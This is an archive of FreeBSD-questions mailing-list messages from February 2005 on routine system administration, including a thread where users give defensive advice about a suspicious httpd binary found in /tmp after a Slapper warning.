wrote, but it may be > > relavent to understanding my reply. Now, of course I'll remove all > > headers and mangle all email addresses, but, since it includes their > > ideas, can I still post it on a website for others to read who may be > > having the same problems? > > > > This is called making a collection, and strictly you are supposed to > get permission from each person to include what they say. > > However, in this case, it is most likely each person is just repeating > to your answer some response they heard from someone else, or got from > a manual, or some such. For example you post asking for an example of > a /etc/printcap and someone replies - while technically that's his > copyrighted material, if he simply copies an example already in the > /etc/printcap file with a few explanations, it's not his copyrighted > material since it belongs to the BSD copyight - except that the > BSD copyright allows you to do this.... Actually, I was referring more to the idea of posting my responces to other people questions. For instance, I recently posted several responces for the thread about xhost and x authentication explaining in detail how x auth works. Now if questions come up again here or elsewhere, I don't want to have to repost everything I wrote, just refer to a url. Some of it I do plan to rewrite, but I haven't had time to rewrite all the emails I think would be useful to post. Since there usually available in some form in an archive, I thought it would be convient to just archive them on my site as well. All the emails are ones that I've sent, but include quoted text from the original email. > > It is far better to simply rewrite the responses that you get, besides > making them more cohesive and easier to understand, when you do this > you avoid the copyright issue. Ideas cannot be copyrighted - > for example I can see a SpongeBob Squarepants cartoon where the > Sponge gets flushed and jams the crapper - I can then write a story about > a talking toilet brush that gets flushed and jams the crapper - no > infringement there. That is after all how 99% of television writing is > done today. Ideas can be patented though and images can be trademarked. > So I best make sure the toilet brush in my story doesen't look yellow, > spongey and square. > > Ted -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 12:06:28 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id ABFA716A4CE for ; Wed, 9 Feb 2005 12:06:28 +0000 (GMT) Received: from asmtp03.eresmas.com (asmtp03.eresmas.com [62.81.235.143]) by mx1.FreeBSD.org (Postfix) with ESMTP id 501CA43D4C for ; Wed, 9 Feb 2005 12:06:28 +0000 (GMT) (envelope-from ea1abz@wanadoo.es) Received: from [192.168.108.56] (helo=mx01.eresmas.com) by asmtp03.eresmas.com with esmtp (Exim 4.30) id 1Cyqbw-0008Dd-6z; Wed, 09 Feb 2005 13:06:24 +0100 Received: from [80.103.41.203] (helo=[80.103.41.203]) by mx01.eresmas.com with asmtp (Exim 4.41) id 1Cyqbu-0006pH-QI; Wed, 09 Feb 2005 13:06:23 +0100 Message-ID: <4209FCC4.1050702@wanadoo.es> Date: Wed, 09 Feb 2005 13:06:28 +0100 From: Ramiro Aceves User-Agent: Mozilla Thunderbird 0.9 (X11/20041124) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Ted Mittelstaedt References: In-Reply-To: X-Enigmail-Version: 0.89.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Score: 0.0 (/) cc: questions@freebsd.org cc: Kris Kennaway Subject: Re: >16MB memory requirement for 5.3 install (Re: cracked outfloppy install) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 12:06:28 -0000 > > I think it is a bug because there are some boneheaded older systems > that have broken BIOSes where FreeBSD can only detect 16MB of ram > without recompiling the kernel. > I have just submitted a bug report. I am wainting for the confirmation. Thanks. From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 12:10:26 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 07F3016A4DF for ; Wed, 9 Feb 2005 12:10:25 +0000 (GMT) Received: from rs25s3.datacenter.cha.cantv.net (rs25s3.datacenter.cha.cantv.net [200.44.33.4]) by mx1.FreeBSD.org (Postfix) with ESMTP id 60CFD43D39 for ; Wed, 9 Feb 2005 12:10:25 +0000 (GMT) (envelope-from gustavogranado@cantv.net) Received: from invitado (dC86DC1F1.dslam-01-8-2-01-1-01.arb.dsl.cantv.net [200.109.193.241])j19CAOFo010474 for ; Wed, 9 Feb 2005 08:10:24 -0400 X-Matched-Lists: [] Message-ID: <000d01c50ea0$54ce7560$1a00a8c0@invitado> From: "Gustavo Granados" To: Date: Wed, 9 Feb 2005 08:10:22 -0400 MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1409 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1409 X-Virus-Scanned: ClamAV 0.80/682/Mon Jan 24 14:53:43 2005 clamav-milter version 0.80j on rs25s3.datacenter.cha.cantv.net X-Virus-Status: Clean Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.1 Subject: configuracion en la red X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 12:10:26 -0000 como se configura en la red ? Gracias=20 Gustavo From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 12:24:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 46A0116A4CE for ; Wed, 9 Feb 2005 12:24:56 +0000 (GMT) Received: from mail.arax.md (mail.arax.md [217.26.160.44]) by mx1.FreeBSD.org (Postfix) with ESMTP id BB8CB43D2F for ; Wed, 9 Feb 2005 12:24:55 +0000 (GMT) (envelope-from cezar@arax.md) Received: from cezar.arax.md ([217.26.161.51] helo=cezar) by mail.arax.md with smtp (Exim 4.43 (FreeBSD)) id 1Cyqta-000M6x-8U for freebsd-questions@freebsd.org; Wed, 09 Feb 2005 14:24:38 +0200 Message-ID: <00d701c50ea2$fc9cc330$33a11ad9@office.arax.md> From: "Cezar Fistik" To: References: <004901c50e38$ea4958c0$0a01a8c0@ops.cenergynetworks.com> Date: Wed, 9 Feb 2005 14:29:23 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1437 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Subject: Re: php4-extentions X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 12:24:56 -0000 Hi, Try 'make config' in php-extesions port's directory. regards, Cezar ----- Original Message ----- From: "Chris Knipe" To: Sent: Wednesday, February 09, 2005 1:50 AM Subject: php4-extentions > ===> Vulnerability check disabled, database not found > ===> Found saved configuration for php4-extensions-1.0 > ===> Extracting for php4-extensions-1.0 > > Where's the configuration saved? I need to reconfigure it.. > > -- > Chris. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 13:11:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 691FF16A4D7 for ; Wed, 9 Feb 2005 13:11:27 +0000 (GMT) Received: from 9.hellooperator.net (cpc3-cdif2-3-0-cust202.cdif.cable.ntl.com [81.103.32.202]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1ECB443D5C for ; Wed, 9 Feb 2005 13:11:27 +0000 (GMT) (envelope-from rasputnik@hellooperator.net) Received: from [10.4.0.5] (helo=eris.tenfour) by 9.hellooperator.net with esmtp (Exim 4.43) id 1Cyrcq-00042A-3A for freebsd-questions@freebsd.org; Wed, 09 Feb 2005 13:11:25 +0000 Received: from rasputnik by eris.tenfour with local (Exim 4.44 (FreeBSD)) id 1Cyrcp-0007n6-Pv for freebsd-questions@freebsd.org; Wed, 09 Feb 2005 13:11:23 +0000 Date: Wed, 9 Feb 2005 13:11:23 +0000 From: Dick Davies To: FreeBSD Questions Message-ID: <20050209131123.GD19042@eris.tenfour> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.1i Subject: firefox creating oddly named profile directories X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Dick Davies List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 13:11:27 -0000 anyone else seeing this? I rebuilt my laptop yesterday after an 'incident' (tip of the week; don't mix up ad0 and da0) and rsynced bacx /etc /home and /root, then pkg_add -r'ed my way back to a desktop without too much bother. But firefox (latest one with the hole, 1.0.7mumblemumble) refuses to use the old ~/.mozilla/firefox profile folder, instead it creates 4 new ones with gibberish names (start with .h and then unprintable characters). Anyone have a clue why? -- 'Ugh, it's like there's a party in my mouth and everyone's throwing up.' -- Fry Rasputin :: Jack of All Trades - Master of Nuns From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 13:16:46 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3679E16A4CE for ; Wed, 9 Feb 2005 13:16:46 +0000 (GMT) Received: from mail.orangexl.nl (mail.orangexl.nl [194.109.66.60]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3A7A443D1D for ; Wed, 9 Feb 2005 13:16:45 +0000 (GMT) (envelope-from info@orangexl.com) Received: from OrangeXL (cp262152-a.roose1.nb.home.nl [84.26.101.188]) (AUTH: LOGIN postmaster@orangexl.com) by mail.orangexl.nl with esmtp; Wed, 09 Feb 2005 14:16:43 +0100 From: "Sander Holthaus - Orange XL" To: freebsd-questions@freebsd.org Date: Wed, 9 Feb 2005 14:16:50 +0100 Organization: Orange XL Message-ID: MIME-Version: 1.0 X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2527 Thread-Index: AcUOqZ0mD4QMMR/+SFSnttemQ/DKiQ== Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.1 Subject: FreeBSD 4.10 and Apache 2.0.5x: setting limits X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 13:16:46 -0000 You can set the limits (ulimit) for Apache 2 through a variable (apache2limits_args enabled by apache2limits_enable) in rc.conf. If enabled, it uses, by default, the limits for login-class daemon as found in /etc/login.class; daemon:\ :coredumpsize@:\ :coredumpsize-cur=0:\ :datasize=infinity:\ :datasize-cur@:\ :maxproc=512:\ :maxproc-cur@:\ :memoryuse-cur=64M:\ :memorylocked-cur=64M:\ :openfiles=1024:\ :openfiles-cur@:\ :stacksize=16M:\ :stacksize-cur@:\ :tc=default: I take it these settings are quite general, and may not be sufficient (to restrictive or not). So I was wondering what kind of limits other users are using. And how those settings scale or depend on various configurations? Googling, or Apache: Definitive Reference / Apache Cookbook do not seem to provide any clues here :-( Kind Regards, Sander Holthaus From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 13:24:45 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E946D16A4CE for ; Wed, 9 Feb 2005 13:24:45 +0000 (GMT) Received: from smtpq1.home.nl (smtpq1.home.nl [213.51.128.196]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7D4D943D60 for ; Wed, 9 Feb 2005 13:24:45 +0000 (GMT) (envelope-from luyt@ovosoft.nl) Received: from [213.51.128.132] (port=53425 helo=smtp1.home.nl) by smtpq1.home.nl with esmtp (Exim 4.30) id 1Cyrpk-0000sB-BL for freebsd-questions@freebsd.org; Wed, 09 Feb 2005 14:24:44 +0100 Received: from cc351901-a.groni1.gr.home.nl ([82.73.114.87]:34455 helo=localhost.invalid) by smtp1.home.nl with esmtp (Exim 4.30) id 1Cyrpj-0006pK-Fl for freebsd-questions@freebsd.org; Wed, 09 Feb 2005 14:24:43 +0100 From: Luyt To: freebsd-questions@freebsd.org Date: Wed, 9 Feb 2005 14:23:47 +0000 User-Agent: KMail/1.7.2 References: <20050208164231.A16565@starfire.mn.org> In-Reply-To: <20050208164231.A16565@starfire.mn.org> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502091423.47601.luyt@ovosoft.nl> X-AtHome-MailScanner-Information: Neem contact op met support@home.nl voor meer informatie X-AtHome-MailScanner: Found to be clean Subject: Re: Infrared link for FreeBSD? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 13:24:46 -0000 On Tuesday 08 February 2005 22:42, John wrote: > Does FreeBSD support the infrared link found in many laptops? I have > searched the handbook and release notes, and haven't found any > mention of it (at least the way I was searching), so I thought > I'd give it one last try here. You might want to have a look at: The 'birda' port - "A set of utilities to communicate with IrDA devices over an IrDA port on a serial line." http://www.freebsdsoftware.org/ports.php?c=comms&n=birda "Using infrared to connect a Palm to FreeBSD" http://www.jeroen.se/articles/freebsd_palm_infrared.php From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 13:31:30 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1C31E16A4CE for ; Wed, 9 Feb 2005 13:31:30 +0000 (GMT) Received: from out009.verizon.net (out009pub.verizon.net [206.46.170.131]) by mx1.FreeBSD.org (Postfix) with ESMTP id 61C0F43D49 for ; Wed, 9 Feb 2005 13:31:29 +0000 (GMT) (envelope-from leblanc@keyslapper.org) Received: from keyslapper.org ([68.163.189.143]) by out009.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20050209133128.LTXP4172.out009.verizon.net@keyslapper.org> for ; Wed, 9 Feb 2005 07:31:28 -0600 Received: from localhost (localhost [127.0.0.1]) by keyslapper.org (Postfix) with ESMTP id 1A05411887 for ; Wed, 9 Feb 2005 08:31:28 -0500 (EST) Received: from keyslapper.org ([127.0.0.1]) by localhost (keyslapper.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 50518-04 for ; Wed, 9 Feb 2005 08:31:20 -0500 (EST) Received: by keyslapper.org (Postfix, from userid 1001) id 7AA071187D; Wed, 9 Feb 2005 08:31:20 -0500 (EST) Date: Wed, 9 Feb 2005 08:31:20 -0500 From: Louis LeBlanc To: freebsd-questions@freebsd.org Message-ID: <20050209133120.GA53184@keyslapper.net> Mail-Followup-To: freebsd-questions@freebsd.org References: <45638E6B-7A62-11D9-B134-000D933E3CEC@shire.net> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: <45638E6B-7A62-11D9-B134-000D933E3CEC@shire.net> X-PGP-Key: http://www.keyslapper.net/~leblanc/leblanc-at-keyslapper-net.asc User-Agent: Mutt/1.5.7i X-Virus-Scanned: amavisd-new at keyslapper.net X-Authentication-Info: Submitted using SMTP AUTH at out009.verizon.net from [68.163.189.143] at Wed, 9 Feb 2005 07:31:28 -0600 Subject: Re: Electricity bill - OT X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@FreeBSD.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 13:31:30 -0000 On 02/08/05 11:17 PM, Chad Leigh -- Shire.Net LLC sat at the `puter and typed: > > > We are not talking about phones. Yes, but are we still talking about FreeBSD? -- Louis LeBlanc FreeBSD-at-keyslapper-DOT-net Fully Funded Hobbyist, KeySlapper Extrordinaire :) Please send off-list email to: leblanc at keyslapper d.t net Key fingerprint = C5E7 4762 F071 CE3B ED51 4FB8 AF85 A2FE 80C8 D9A2 love, n.: When, if asked to choose between your lover and happiness, you'd skip happiness in a heartbeat. From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 13:41:18 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 86B8316A4CE for ; Wed, 9 Feb 2005 13:41:18 +0000 (GMT) Received: from mercury.uni-mart.com (mercury.uni-mart.com [216.169.165.182]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4350843D4C for ; Wed, 9 Feb 2005 13:41:18 +0000 (GMT) (envelope-from jmaxwell@uni-mart.com) Received: from localhost (localhost.uni-mart.com [127.0.0.1]) by mercury.uni-mart.com (Postfix) with ESMTP id 38D035E8849 for ; Wed, 9 Feb 2005 08:50:37 -0500 (EST) Received: from mercury.uni-mart.com ([127.0.0.1]) by localhost (mercury.uni-mart.com [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 33872-03-11 for ; Wed, 9 Feb 2005 08:50:36 -0500 (EST) Received: from jeff.uni-mart.com (oqm.uni-mart.com [64.65.227.20]) by mercury.uni-mart.com (Postfix) with ESMTP id B0B565E883D for ; Wed, 9 Feb 2005 08:50:35 -0500 (EST) Message-Id: <5.1.0.14.2.20050209083848.04680a70@pop.uni-mart.com> X-Sender: jmaxwell@pop.uni-mart.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Wed, 09 Feb 2005 08:42:02 -0500 To: From: Jeff Maxwell Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Virus-Scanned: amavisd-new at uni-mart.com Subject: security updates X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 13:41:18 -0000 I got this message today from cron, apparently my security update failed. Any Idea how to resolve this. I am also get a similar message on a 5.3 box. Fetching updates signature... fetch: http://update.daemonology.net/i386/4.9/updates.sig: Not FoundError fetching updates Jeff Maxwell POS Department Manager Uni-Marts, LLC Voice 570-829-0888 Ext. 421 Fax 570-829-4390 From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 19:41:04 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B195616A4CE for ; Tue, 8 Feb 2005 19:41:04 +0000 (GMT) Received: from merle.it.northwestern.edu (merle.it.northwestern.edu [129.105.16.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id 09EC343D49 for ; Tue, 8 Feb 2005 19:41:04 +0000 (GMT) (envelope-from r-militante@northwestern.edu) Received: (from mailnull@localhost) by merle.it.northwestern.edu (8.12.10/8.12.10) id j18Jf3eS000587; Tue, 8 Feb 2005 13:41:03 -0600 (CST) Received: from merle.it.northwestern.edu (darkpossum.medill.northwestern.edu [129.105.246.24]) by merle.it.northwestern.edu via smap (V2.0) id xma029840; Tue, 8 Feb 05 13:40:45 -0600 Date: Tue, 8 Feb 2005 13:45:03 -0600 From: Redmond Militante To: Bret Walker Message-ID: <20050208194503.GA9298@darkpossum> References: <4208E148.8060301@hamletinc.com> <01c601c50dfd$b77d3410$17336981@medill.northwestern.edu> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="MGYHOYXEY6WxJCY8" Content-Disposition: inline In-Reply-To: <01c601c50dfd$b77d3410$17336981@medill.northwestern.edu> User-Agent: Mutt/1.4.2.1i X-Sender: redmond@darkpossum.medill.northwestern.edu X-URL: http://darkpossum.medill.northwestern.edu/gnupg.php X-PGP-Fingerprint: 2AA2 E78E A6FC 9144 3534 39A2 EE0F 8D26 5FDF 481D X-Mailman-Approved-At: Wed, 09 Feb 2005 13:45:50 +0000 Subject: Re: httpd in /tmp - Sound advice sought X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Redmond Militante List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 19:41:04 -0000 --MGYHOYXEY6WxJCY8 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable hi [Tue, Feb 08, 2005 at 10:46:19AM -0600] This one time, at band camp, Bret Walker said: > Redmond- >=20 > Here is the response I got from the list. >=20 > I also found another file - shellbind.c - it's essentially this - > http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-06/0073.html > (although phpBB has never been installed). >=20 > I had register_globals on in PHP for a month+ because a reservation system > I was using required them. I now know better. We also had php errors set > to display for a while as bugs were being worked out. >=20 > The owner of this file is www, so it was put in /tmp by the apache daemon. > I messed the file up trying to tar it, so I can't get a good md5. > Register globals and php file uploads are both off now. I don't think the > system was compromised because anything written to /tmp (which is the temp > dir php defaults to) could not be executed. >=20 > Do you think we're safe to continue as is? > this person is telling you that slapper is nothing to worry about because i= t's a linux only virus - but if you didn't put httpd in /tmp then you shoul= d be worried about this situation. this is probably your call what you want to do. =20 > Also, I would like to talk with you about what preventative measures you > take with herald. I know you run tripwire, but what else do you do on a > regular basis? > one thing i do is i read /var/log/messages every day. do you do that? =20 > Bret >=20 >=20 >=20 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org] On Behalf Of Mark A. Garcia > Sent: Tuesday, February 08, 2005 9:57 AM > To: Bret Walker > Cc: freebsd-questions@freebsd.org > Subject: Re: httpd in /tmp - Sound advice sought >=20 >=20 > Bret Walker wrote: >=20 > >Last night, I ran chkrootkit and it gave me a warning about being > >infected with Slapper. Slapper exploits vulnerabilities in OpenSSL up > >to version 0.96d or older on Linux systems. I have only run 0.97d. > >The file that set chkrootkit off was httpd which was located in /tmp. > >/tmp is always mounted rw, noexec. > > > >I update my packages (which are installed via ports) any time there is > >a security update. I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl > >2.8.22/OpenSSL 0.97d on 4.10. Register_globals was on in PHP for a > >couple of weeks, but the only code that required it to be on was in a > >.htaccess/SSL password protected directory. > > > >Tripwire didn't show anything that I noted as odd. I reexamined the > >tripwire logs, which are e-mailed to an account off of the machine > >immediately after completion, and I don't > >see anything odd for the 3/4 days before or after the date on the file. > >(I don't scan /tmp) > > > >I stupidly deleted the httpd file from /tmp, which was smaller than the > >actual apache httpd. And I don't back up /tmp. > > > >The only info I can find regarding this file being in /tmp pertains to > >Slapper. Could something have copied a file there? Could I have done > >it by mistake at some point - the server's been up ~60 days, plenty of > >time for me to forget something? > > > >This is production box that I very much want to keep up, so I'm seeking > >some sound advice. > > > >Does this box need to be rebuilt? How could a file get written to > >/tmp, and is it an issue since it couldn't be executed? I run tripwire > >nightly, and haven't seen anything odd to the best of my recollection. > >I also check ipfstat -t frequently to see if any odd connections are > >happening. > > > >I appreciate any sound advice on this matter. > > > >Thanks, > >Bret > > > > > Slapper is a linux only virus. You shouldn't have to worry about it > doing harm on your freebsd machine. Seeing as the binary was in your > tmp directory on your system, and that you might have not placed it > there, this could be a good reason for a host of other things to look > into. The httpd binary with 96d<=3D ssl is not a virus itself, just a > means to carry out the exploit. The slapper virus is a bunch of c-code > that is put in your tmp directory and the exploit allows one to compile, > chmod, and execute the code, leaving open a backdoor. >=20 > chrootkit does scan for the comparable scalper virus which is a freebsd > cousin to the slapper (in that they attempt to exploit the machine via > the apache conduit.) >=20 > I would think real hard, if you did put the httpd binary in there. If > you are sure you didn't, and you are the only one with access to the > system, then I would be very very worried. Running tripwire and > chrootkit on a periodic basis should help. Re-installing the os isn't > your only solution, but it does give comfort knowing that after a > reinstall, and locking down the box, no one has a in on your system. > This could be overboard though. >=20 > You also might want to consider enabling the clean_tmp scripts. Next > time tar up those suspicious files, a quick forensics on them can do > wonders (md5sum, timestamps, ownership, permissions.) >=20 > Cheers, > -.mag > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" --=20 Redmond Militante Software Engineer / Medill School of Journalism FreeBSD 5.2.1-RELEASE-p10 #0: Wed Sep 29 17:17:49 CDT 2004 i386 1:30PM up 1 day, 1:21, 2 users, load averages: 0.00, 0.04, 0.19 --MGYHOYXEY6WxJCY8 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.5 (FreeBSD) iD8DBQFCCRa+7g+NJl/fSB0RAhRJAJ4zc4yr/GUlLBXjO/LwkMbiZ4/GlwCg0JJP ht2k/LQj3qeJxLwo0uSCfjY= =0gkZ -----END PGP SIGNATURE----- --MGYHOYXEY6WxJCY8-- From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 20:16:37 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 07BF816A4CE for ; Tue, 8 Feb 2005 20:16:37 +0000 (GMT) Received: from merle.it.northwestern.edu (merle.it.northwestern.edu [129.105.16.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id 898BF43D45 for ; Tue, 8 Feb 2005 20:16:36 +0000 (GMT) (envelope-from r-militante@northwestern.edu) Received: (from mailnull@localhost) by merle.it.northwestern.edu (8.12.10/8.12.10) id j18KGZ92029288; Tue, 8 Feb 2005 14:16:35 -0600 (CST) Received: from merle.it.northwestern.edu (darkpossum.medill.northwestern.edu [129.105.246.24]) by merle.it.northwestern.edu via smap (V2.0) id xma028075; Tue, 8 Feb 05 14:16:15 -0600 Date: Tue, 8 Feb 2005 14:20:33 -0600 From: Redmond Militante To: Bret Walker Message-ID: <20050208202033.GA12119@darkpossum> References: <20050208194503.GA9298@darkpossum> <024801c50e16$7b15e8f0$17336981@medill.northwestern.edu> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="UugvWAfsgieZRqgk" Content-Disposition: inline In-Reply-To: <024801c50e16$7b15e8f0$17336981@medill.northwestern.edu> User-Agent: Mutt/1.4.2.1i X-Sender: redmond@darkpossum.medill.northwestern.edu X-URL: http://darkpossum.medill.northwestern.edu/gnupg.php X-PGP-Fingerprint: 2AA2 E78E A6FC 9144 3534 39A2 EE0F 8D26 5FDF 481D X-Mailman-Approved-At: Wed, 09 Feb 2005 13:45:50 +0000 Subject: Re: httpd in /tmp - Sound advice sought X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Redmond Militante List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 20:16:37 -0000 --UugvWAfsgieZRqgk Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable [Tue, Feb 08, 2005 at 01:43:36PM -0600] This one time, at band camp, Bret Walker said: > I do read it, but not every day (weekends, especially). > i use logcheck to mail me the messages log every 15 mins =20 > Do you have a way for suspicious activity to be reported to you? > logcheck, and portsentry as well =20 > Also, I'm tarring /usr and am going to run a diff on it compared to a > clean install. > > Bret >=20 > -----Original Message----- > From: Redmond Militante [mailto:r-militante@northwestern.edu]=20 > Sent: Tuesday, February 08, 2005 1:45 PM > To: Bret Walker > Subject: Re: httpd in /tmp - Sound advice sought >=20 >=20 > hi >=20 > [Tue, Feb 08, 2005 at 10:46:19AM -0600] > This one time, at band camp, Bret Walker said: >=20 > > Redmond- > >=20 > > Here is the response I got from the list. > >=20 > > I also found another file - shellbind.c - it's essentially this -=20 > > http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-06/0073.html > > (although phpBB has never been installed). > >=20 > > I had register_globals on in PHP for a month+ because a reservation=20 > > system I was using required them. I now know better. We also had php= =20 > > errors set to display for a while as bugs were being worked out. > >=20 > > The owner of this file is www, so it was put in /tmp by the apache=20 > > daemon. I messed the file up trying to tar it, so I can't get a good=20 > > md5. Register globals and php file uploads are both off now. I don't= =20 > > think the system was compromised because anything written to /tmp=20 > > (which is the temp dir php defaults to) could not be executed. > >=20 > > Do you think we're safe to continue as is? > > >=20 > this person is telling you that slapper is nothing to worry about because > it's a linux only virus - but if you didn't put httpd in /tmp then you > should be worried about this situation. >=20 > this is probably your call what you want to do. > =20 > > Also, I would like to talk with you about what preventative measures=20 > > you take with herald. I know you run tripwire, but what else do you=20 > > do on a regular basis? > > >=20 > one thing i do is i read /var/log/messages every day. do you do that? >=20 > =20 > > Bret > >=20 > >=20 > >=20 > > -----Original Message----- > > From: owner-freebsd-questions@freebsd.org > 